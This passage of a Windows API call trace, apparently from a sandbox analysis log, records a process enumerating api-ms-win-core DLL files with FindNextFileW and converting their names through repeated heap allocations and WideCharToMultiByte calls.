lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0260.926] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.926] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.926] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.926] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.926] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.926] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="")) returned 1 [0260.926] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.926] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0260.926] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x1efc288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0260.926] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.926] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.926] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.926] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.926] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.930] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cfe04a0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cfe04a0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-core-handle-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.930] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.930] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0260.930] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1efc120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0260.930] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.930] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.930] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.930] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.930] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.930] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-core-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.930] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.930] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0260.930] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x1efc288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0260.930] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.930] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.930] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.931] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.931] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.931] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d078a1c, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d078a1c, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-core-interlocked-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.931] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.931] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0260.931] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x1efc120, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 38 [0260.931] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.931] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.931] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.931] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.931] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.931] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-core-io-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.931] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.931] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0260.931] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x1efc288, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 29 [0260.931] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.931] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.931] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.931] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.931] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.931] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-core-libraryloader-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.931] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.931] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0260.931] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x1efc120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0260.932] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.932] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.932] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.932] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.932] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.932] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-core-localization-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.932] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.932] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0260.932] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x1efc288, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0260.932] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.932] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.932] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.932] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.932] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.932] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="")) returned 1 [0260.932] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.932] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0260.932] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x1efc120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0260.932] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.932] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.932] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.932] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.932] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.932] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-core-localregistry-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.932] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.932] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0260.932] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x1efc288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0260.933] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.933] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.933] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.933] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.933] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.933] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0eae39, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0eae39, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-core-memory-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.933] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.933] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0260.933] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1efc120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0260.933] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.933] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.933] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.933] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.933] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.933] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-core-misc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.933] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.933] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0260.933] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x1efc288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0260.933] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.933] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.933] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.934] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.934] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.934] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-core-namedpipe-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.934] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.934] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0260.934] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x1efc120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0260.934] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.934] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.934] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.934] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.934] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.934] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-core-processenvironment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.934] RtlAllocateHeap 